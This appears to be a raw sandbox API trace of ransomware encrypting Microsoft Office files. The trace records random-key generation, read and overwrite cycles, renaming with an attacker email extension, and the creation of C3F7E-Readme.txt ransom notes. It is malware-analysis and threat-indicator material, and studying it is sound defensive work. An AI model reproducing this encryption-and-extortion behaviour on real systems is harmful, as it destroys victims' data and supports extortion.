	[0079.817] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0079.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781670
	[0079.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0079.817] NtQuerySystemTime (in: CurrentTime=0x1e6bf944 | out: CurrentTime=0x1e6bf944*=132251868065463216) returned 0x0
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x25a53d1c
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xd987211a
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x833aec67
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x850772b6
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x88295f7e
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xccb81e58
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x8702cbfc
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x9d1561ef
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x53938242
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xf12c92ed
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x93d0da36
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x927082af
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xc6293dbb
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x4645bb96
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x227957c9
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xc0fde0f2
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x3dc12637
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x9355d69d
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x1184584c
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xdaab196a
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xd97accf1
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xb702f376
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x62e04e81
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x6b51d761
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x2447a14
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x3a68fcce
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x547080c2
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x9676622c
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xf57cafe
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xa6a36de4
	[0079.817] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0xd4145f1e
	[0079.818] RtlRandom (in: Seed=0x1e6bf950 | out: Seed=0x1e6bf950) returned 0x3e7a1b78
	[0079.824] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0079.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0079.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0079.826] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0079.826] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0079.826] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0079.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4946018
	[0079.827] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.827] ReadFile (in: hFile=0x1330, lpBuffer=0x4946018, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1e6bf924, lpOverlapped=0x0 | out: lpBuffer=0x4946018*, lpNumberOfBytesRead=0x1e6bf924*=0xc800, lpOverlapped=0x0) returned 1
	[0079.828] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa90
	[0079.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0079.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0079.828] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0079.829] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4952820
	[0079.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0079.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0079.830] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0079.830] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0079.830] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa90) returned 1
	[0079.830] WriteFile (in: hFile=0x1330, lpBuffer=0x4952820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1e6bf924, lpOverlapped=0x0 | out: lpBuffer=0x4952820*, lpNumberOfBytesWritten=0x1e6bf924*=0xc800, lpOverlapped=0x0) returned 1
	[0084.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4952820) returned 1
	[0084.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4946018) returned 1
	[0084.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34640
	[0084.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34730) returned 1
	[0084.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34500
	[0084.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346e0
	[0084.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0084.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0084.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x47173a0
	[0084.616] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.616] WriteFile (in: hFile=0x1330, lpBuffer=0x47173a0*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x1e6bf9a4, lpOverlapped=0x0 | out: lpBuffer=0x47173a0*, lpNumberOfBytesWritten=0x1e6bf9a4*=0x101, lpOverlapped=0x0) returned 1
	[0084.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47173a0) returned 1
	[0084.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0084.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346e0) returned 1
	[0084.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0084.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0084.919] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781670) returned 1
	[0084.919] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0084.919] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0084.919] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481a198
	[0084.919] wcscpy (in: _Dest=0x481a198, _Source="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS"
	[0084.919] wcscat (in: _Dest=0x481a198, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.919] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1e6bf95c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.919] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47ea470
	[0084.919] NtSetInformationFile (FileHandle=0x1330, IoStatusBlock=0x1e6bf954, FileInformation=0x47ea470, Length=0xc4, FileInformationClass=0xa) returned 0x0
	[0084.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea470) returned 1
	[0084.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2dc20) returned 1
	[0084.920] NtQueryInformationFile (in: FileHandle=0x1330, IoStatusBlock=0x1e6bf968, FileInformation=0x1e6bf940, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e6bf968, FileInformation=0x1e6bf940) returned 0x0
	[0084.920] NtSetInformationFile (FileHandle=0x1330, IoStatusBlock=0x1e6bf968, FileInformation=0x1e6bf940, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.921] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0084.921] FlushFileBuffers (hFile=0x1330) returned 1
	[0084.922] CloseHandle (hObject=0x1330) returned 1
	[0084.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498c470
	[0084.925] wcscpy (in: _Dest=0x498c470, _Source="C:\\Program Files\\Microsoft Office\\Office16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\") returned="C:\\Program Files\\Microsoft Office\\Office16\\"
	[0084.925] wcscat (in: _Dest=0x498c470, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office16\\C3F7E-Readme.txt"
	[0084.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office16\\c3f7e-readme.txt")) returned 0x20
	[0084.925] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498c470) returned 1
	[0084.925] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e17578) returned 1

Thread:
	id = 837
	os_tid = 0xfcc

	[0079.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20
	[0079.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", dwFileAttributes=0x20) returned 1
	[0079.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1334
	[0079.838] GetFileSizeEx (in: hFile=0x1334, lpFileSize=0x1e73fad0 | out: lpFileSize=0x1e73fad0*=36336) returned 1
	[0079.838] SetFilePointerEx (in: hFile=0x1334, liDistanceToMove=0x8dec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.838] ReadFile (in: hFile=0x1334, lpBuffer=0x1e73fa54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e73fa50, lpOverlapped=0x0 | out: lpBuffer=0x1e73fa54*, lpNumberOfBytesRead=0x1e73fa50*=0x4, lpOverlapped=0x0) returned 1
	[0079.840] SetFilePointerEx (in: hFile=0x1334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.841] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0079.841] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0079.841] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0079.841] NtQuerySystemTime (in: CurrentTime=0x1e73fa30 | out: CurrentTime=0x1e73fa30*=132251868065822141) returned 0x0
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x25d567cd
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0xf7a793ab
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x4aa5418e
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x169e7b9c
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x140be13a
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0xef8b017d
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x49c0de58
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x7dbccaa3
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x99e6ccf0
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x5f583b35
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x46dcad0b
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0xbe38945d
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0xb37cb7d
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x76366c9
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x3071b506
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x5efc7d63
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x3b9755bf
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0xbef2c40f
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x8ec31fc6
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0xb0cee58d
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x50025aff
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x1672ea05
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0xf4cb514b
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0xd997d132
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x5e6fdbed
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x3f124e39
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x145ca83a
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x1020963f
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0xb1ecce75
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x4b79ece
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0xf5b05e78
	[0079.841] RtlRandom (in: Seed=0x1e73fa3c | out: Seed=0x1e73fa3c) returned 0x779f16a2
	[0079.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0079.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0079.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0079.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0079.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0079.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0079.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa90
	[0079.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0079.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0079.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0079.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x495f028
	[0079.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x496b830
	[0079.851] ReadFile (in: hFile=0x1334, lpBuffer=0x495f028, nNumberOfBytesToRead=0x8df0, lpNumberOfBytesRead=0x1e73fa2c, lpOverlapped=0x0 | out: lpBuffer=0x495f028*, lpNumberOfBytesRead=0x1e73fa2c*=0x8df0, lpOverlapped=0x0) returned 1
	[0079.853] SetFilePointerEx (in: hFile=0x1334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.853] WriteFile (in: hFile=0x1334, lpBuffer=0x496b830*, nNumberOfBytesToWrite=0x8df0, lpNumberOfBytesWritten=0x1e73fa28, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesWritten=0x1e73fa28*=0x8df0, lpOverlapped=0x0) returned 1
	[0080.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0080.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0080.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x496b830) returned 1
	[0080.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x495f028) returned 1
	[0080.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0080.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa90) returned 1
	[0080.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d780e0
	[0080.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0080.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0080.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0080.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0080.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d782f0
	[0080.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0080.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0080.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0080.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0080.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0080.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x107) returned 0x47169c8
	[0080.146] SetFilePointerEx (in: hFile=0x1334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.146] WriteFile (in: hFile=0x1334, lpBuffer=0x47169c8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x1e73fa90, lpOverlapped=0x0 | out: lpBuffer=0x47169c8*, lpNumberOfBytesWritten=0x1e73fa90*=0x107, lpOverlapped=0x0) returned 1
	[0080.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47169c8) returned 1
	[0080.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d782f0) returned 1
	[0080.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0080.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780e0) returned 1
	[0080.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0080.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0080.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0080.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0080.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x476a3e8
	[0080.218] wcscpy (in: _Dest=0x476a3e8, _Source="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML"
	[0080.218] wcscat (in: _Dest=0x476a3e8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.218] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1e73fa48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477d538
	[0080.218] NtSetInformationFile (FileHandle=0x1334, IoStatusBlock=0x1e73fa40, FileInformation=0x477d538, Length=0xca, FileInformationClass=0xa) returned 0x0
	[0080.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d538) returned 1
	[0080.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771298) returned 1
	[0080.254] NtQueryInformationFile (in: FileHandle=0x1334, IoStatusBlock=0x1e73fa54, FileInformation=0x1e73fa2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e73fa54, FileInformation=0x1e73fa2c) returned 0x0
	[0080.254] NtSetInformationFile (FileHandle=0x1334, IoStatusBlock=0x1e73fa54, FileInformation=0x1e73fa2c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0080.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a3e8) returned 1
	[0080.255] FlushFileBuffers (hFile=0x1334) returned 1
	[0080.256] CloseHandle (hObject=0x1334) returned 1
	[0080.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498e010
	[0080.258] wcscpy (in: _Dest=0x498e010, _Source="C:\\Program Files\\Microsoft Office\\Office16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\") returned="C:\\Program Files\\Microsoft Office\\Office16\\"
	[0080.258] wcscat (in: _Dest=0x498e010, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office16\\C3F7E-Readme.txt"
	[0080.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office16\\c3f7e-readme.txt")) returned 0xffffffff
	[0080.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office16\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1414
	[0080.746] WriteFile (in: hFile=0x1414, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x1e73fa50, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x1e73fa50*=0x6f6, lpOverlapped=0x0) returned 1
	[0080.747] CloseHandle (hObject=0x1414) returned 1
	[0080.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e010) returned 1
	[0080.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47537a0) returned 1

Thread:
	id = 838
	os_tid = 0x1114

	[0079.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2d7d340
	[0079.882] wcscpy (in: _Dest=0x2d7d340, _Source="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}"
	[0079.882] wcscat (in: _Dest=0x2d7d340, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\"
